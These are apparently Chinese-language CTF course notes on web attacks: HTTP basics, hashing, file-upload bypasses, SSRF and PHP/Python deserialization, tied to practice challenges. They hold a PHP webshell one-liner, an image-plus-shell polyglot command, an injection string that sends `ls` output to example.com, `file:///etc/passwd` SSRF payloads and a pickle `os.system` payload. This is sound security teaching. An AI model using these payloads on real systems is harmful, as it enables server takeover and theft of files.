# Web 進階(11/7) - https://reurl.cc/GrLk5y - https://140.110.112.78/ [TOC] ## 0x00 基礎補充 ### HTTP Methods - **GET**(取得) - **POST**(送出表單,header 後面可接 body) 假如你想送出資料,例如表單,但不想加資料在 URL 後面,可以用 POST 塞在 body。 - **HEAD**(跟 GET 一樣但只拿 header) 假如你想測試某個檔案是存在,可以用 HEAD 看是不是 404 避免下載。 - **PUT**, **PATCH**(修改,header 後面可接 body,跟 POST 功能差不多) - **DELETE**(刪除) - **OPTIONS**(可看資源的選項) > cURL 使用任意 method 做 request: > ```sh > curl -X OPTIONS -v https://example.com/ > ``` :::warning 【練習 0】[Web Level 1] HTTP Method 【練習 1】[Web Level 3] New HTTP method ::: ### HTTP Response Status Code - 1xx(資訊回應) - 2xx(成功回應) - 200 OK - 3xx(重定向) - 301 Moved Permanently - 302 Found - 307 Temporary Redirect(考慮 http method) - 308 Permanent Redirect(考慮 http method) - 4xx(用戶端錯誤) - 400 Bad Request - 401 Unauthorized - 403 Forbidden - 404 Not Found - 405 Method Not Allowed - 5xx(伺服器端錯誤) - 500 Internal Server Error - 502 Bad Gateway 補充: * [HTTP 狀態碼 - HTTP | MDN](https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Status) * [搞懂 http 3xx 重新導向狀態碼](https://medium.com/@dubiety/%E6%90%9E%E6%87%82-http-3xx-%E9%87%8D%E6%96%B0%E5%B0%8E%E5%90%91%E7%8B%80%E6%85%8B%E7%A2%BC-f1a288c1cd20) ### 編碼(Encoding)、加密(Encryption)、雜湊(Hashing) #### 編碼(Encoding) 有時需要只用部分字元表達 binary 資料,所以定義了出幾種轉換方法。 1. **Base64 encoding** 轉換成用 `A-Z` `a-z` `0-9` `+/=` 表示(其實總共可能出現 65 種字元) PHP ```php base64_encode("\x00") "AA==" base64_encode("\x00\x01") "AAE=" base64_encode("\x00\x01\x02") "AAEC" base64_encode("\x00\x01\x02\x03") "AAECAw==" base64_encode("你好") "5L2g5aW9" ``` 指令 ```bash $ echo -n 你好 | base64 5L2g5aW9 $ echo -n 5L2g5aW9 | base64 --decode 你好 ``` 2. **URL encoding** 常用於網址和 HTTP header,因為 HTTP 不允許非 ASCII 字元。 PHP ```php urlencode("I love you") "I+love+you" urlencode('; curl http://example.com/?`ls | base64`') "%3B+curl+http%3A%2F%2Fexample.com%2F%3F%60ls+%7C+base64%60" urlencode('哈') "%E5%93%88" urlencode(' +') "+%2B" ``` #### 加密(Encryption) 將明文資料轉成密文,有 key 才能解回來看明文。 #### 雜湊(Hashing) 將輸入 bytes 轉換成一組較短的 bytes 輸出。要求單向映射無法逆推、不同的輸入要有不同的輸出,可以用來比較資料一不一樣,例如檢查密碼對不對。 1. **MD5**, **SHA1** PHP ```php echo md5('hi'); // 49f68a5c8493ec2c0bf489821c21fc3b echo md5('ho'); // b5d9b59113086d3f9f9f108adaaa9ab5 echo sha1('hi'); // c22b5f9178342609428d6f51b2c5af4c0bde6a42 echo sha1('ho'); // 9a76a857ad399b492ba01879d0fa2d717e4430b2 ``` 指令 ```bash $ echo -n hi | md5sum /dev/stdin 49f68a5c8493ec2c0bf489821c21fc3b /dev/stdin $ echo -n hi | sha1sum /dev/stdin c22b5f9178342609428d6f51b2c5af4c0bde6a42 /dev/stdin ``` 已經不安全了,還有[很多網站可以用來逆推](https://hashtoolkit.com/)。 2. [目前常見的雜湊演算法](https://zh.wikipedia.org/wiki/%E6%95%A3%E5%88%97%E5%87%BD%E6%95%B8#%E7%9B%AE%E5%89%8D%E5%B8%B8%E8%A6%8B%E7%9A%84%E9%9B%9C%E6%B9%8A%E6%BC%94%E7%AE%97%E6%B3%95) > 處理字串的好工具:「CyberChef」 > https://gchq.github.io/CyberChef/ :::warning 【練習 2】[Web Level 2] Md5 collision 【練習 3】[Web Level 2] sha1 collision 提示:"magic hashes" ::: ## 0x01 上傳檢查問題 * 若 server 支援 php,則我們要避免使用者上傳 php 程式,以免被用來執行任意 code * [在 Apache 使用 .htaccess 檔案防止 PHP 被解析](https://electrictoolbox.com/disable-php-apache-htaccess/) ``` RemoveHandler .php .phtml .php3 RemoveType .php .phtml .php3 php_flag engine off ``` * 根本沒檢查檔名 可傳 Webshell: ```php <?php system($_GET['x']); ?> ``` :::warning 【練習 4】[Web Level 3] ImageUploader ::: * 檔案類型檢查常常只檢查檔案 header,後面塞髒東西不會影響。 :::warning 【練習 5】[Web Level 4] ImageUploader2 ::: > 補充:VIM 小抄 > `v`: 選擇字元(選完按 `d` 可以刪除) > `gg`: 到第一行 > `G`: 到最後一行 > `End`: 到行尾 > `Home`: 到行頭 > 補充:不用 VIM 的方法 > ```bash > ( head -c 500 image.png; cat shell.php ) > image.phtml > ``` > 補充:邊打邊跑 PHP > PsySH: https://psysh.org/ * Apache 設定檔中,如何決定是否將檔案視為 php 去解析? 例如在 `/etc/apache2/mods-available/php7.4.conf` ```xml <FilesMatch ".+\.ph(ar|p|tml)$"> SetHandler application/x-httpd-php </FilesMatch> ``` - `.+\.ph(ar|p|tml)$` 是 [regular expresion](https://blog.techbridge.cc/2020/05/14/introduction-to-regular-expression/),用來匹配檔案名稱 :::warning 【練習 6】[Web Level 3] sh3ll_upload3r 提示:`page.php.` 以前常被設定視為 php 解析 ::: ## 0x02 跨站請求偽造 (SSRF, Server Side Request Forgery) 問題:後端拿使用者輸入的網址去 request 其他地方 - 可能的實作 ```php <?php # https://www.php.net/manual/en/wrappers.php echo file_get_contents($_GET['url']); # https://curl.haxx.se/docs/manpage.html $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_ALL); $data = curl_exec($ch); $type = curl_getinfo($ch, CURLINFO_CONTENT_TYPE); echo $data; ``` - 以上都不只會吃一般 HTTP 的網址 - `file_get_contents` - 檔名 - `file://` - `http://` - `https://` - `php://` - ... - curl - `http://` - `https://` - `file://` - `gopher://` - ... - 一旦後端這樣寫,而且 url 可控,有很多招可以玩 - 用 `file://` 讀 server 上的檔案 - 讀 `/etc/passwd`:`file:///etc/passwd` - 讀程式目前工作路徑下的檔案:`file:///proc/self/cwd/index.php` - 讀網段表 `/proc/net/fib_trie` - 用 `gopher://` 模仿任意協定(如果使用 curl) - TCP - HTTP - Redis - MySQL - SMTP - 掃內網的 port 例如用 gopher 模仿 HTTP ``` curl gopher://example.com:80/_GET%20%2F%20HTTP%2F1.1%0D%0AHost%3Aexample.com%0D%0A%0D%0A ``` :::warning 【練習 7】[Web Level 3] Orange_demo-1 【練習 8】[Web] SSRF Noob ::: :::info 【補充題】https://bamboofox.cs.nctu.edu.tw:14653/ 【補充題】https://bamboofox.cs.nctu.edu.tw:14654/ ::: ## 0x03 反序列化攻擊(Deserialization Attacks) - 序列化(Serialization):將記憶體中的程式物件轉換成 bytes - 反序列化(deserialization):將 bytes 轉回程式物件 - 直接把記憶體內容存起來不行嗎? - 為何不好? - 資料結構複雜,不知道物件的記憶體範圍 - 有些欄位是一次性的,對下次 load 出的物件沒意義 - 不知道哪些要存哪些不用存 - 如何解決? - 預設把物件的 property 都存起來 - 如果必要,可針對類別定義如何序列化或反序列化 - 常見程式語言都有內建序列化功能 ``` PHP serialize() unserialize() Python pickle.dump() pickle.load() Ruby Marshal.dump() Marshal.load() JavaScript JSON.stringify() JSON.parse() Java java.io.Serializable + Object[Input|Output]Stream ... ``` - 補充投影片:https://docs.google.com/presentation/d/1rSfM8UMTkEj6-zbH3q3Mq94mI5TH1WEX2t5I7DSvL5Y/edit?usp=sharing ### 類別(class)與物件(object) 簡而言之,類別是物件的藍圖。我們定義類別,用類別產生物件。 - 用途: - 把程式碼包裝起來,以重複利用 - 變數 → 物件的屬性 - 函式 → 物件的方法 - 物件導向程式設計(OOP) - 封裝 - 繼承 - ... - 常見用語: - 建構子(constructor) - 解構子(destructor) - 屬性(property) - 方法(method) ### PHP ```php class User { public $name = ''; function __construct($name) { $this->name = $name; } function sayHi() { echo "my name is $this->name\n"; } } $user = new User('David'); $user->sayHi(); // my name is David echo serialize($user); // O:4:"User":1:{s:4:"name";s:5:"David";} $fakeUser = unserialize('O:4:"User":1:{s:4:"name";s:6:"Hacker";}'); $fakeUser->sayHi(); // my name is Hacker ``` **PHP 中常常被攻擊的 Magic Function** 如果這裡面危險操作會用到屬性,容易被攻擊 - `__destruct()` PHP物件解構子 - `__wakeup()` 反序列化塞完屬性之後會被用來初始化物件 - `__toString()` 自動轉成字串時被用到 :::warning 【練習 9】[Web Level 4] To serialize or Not to serialize ::: > 架一個簡單的 PHP server 做測試 > ```bash > vim index.php > php -S 0.0.0.0:8000 > ``` ### Python Python serialize / deserialize ```python #!/usr/bin/env python3 import pickle class User: def __init__(self, name): self.name = name def sayHi(self): print('hi my name is', self.name) pickle.dumps(User('David')) # b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00Davidq\x04sb.' u = pickle.loads(b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\x05\x00\x00\x00Davidq\x04sb.') # <__main__.User at 0x7f88065ca2b0> u.sayHi() # hi my name is David ``` **如何攻擊?** - `__reduce__` 在**序列化**時會被 call,回傳值為 `(function, (arg1, arg2, ...))` 這種形式,這東西會被放在序列化後字串的 bytes 中,當在做反序列化時,物件會以 `function(arg1, arg2, ...)` 的方式建立。 ```python #!/usr/bin/env python3 import pickle import os class User: def __init__(self, name): self.name = name def __reduce__(self): return (os.system, (self.name, )) s = pickle.dumps(User('echo 123')) # s: b'\x80\x03cposix\nsystem\nq\x00X\x08\x00\x00\x00echo 123q\x01\x85q\x02Rq\x03.' pickle.loads(s) # 123 ``` 補充:Python 2 ```python #!/usr/bin/env python import cPickle # or pickle import os class User(object): # 要有 object def __init__(self, name): self.name = name def __reduce__(self): return (os.system, (self.name, )) cPickle.loads(cPickle.dumps(User('ls'))) ``` :::warning 【練習 10】[Web Level 4] Kaibro_easy-pickle ::: ## 0x04 其他水題 :::warning 【練習 11】[Web Level 2] Download 【練習 12】[Web Level 4] Ev41 :::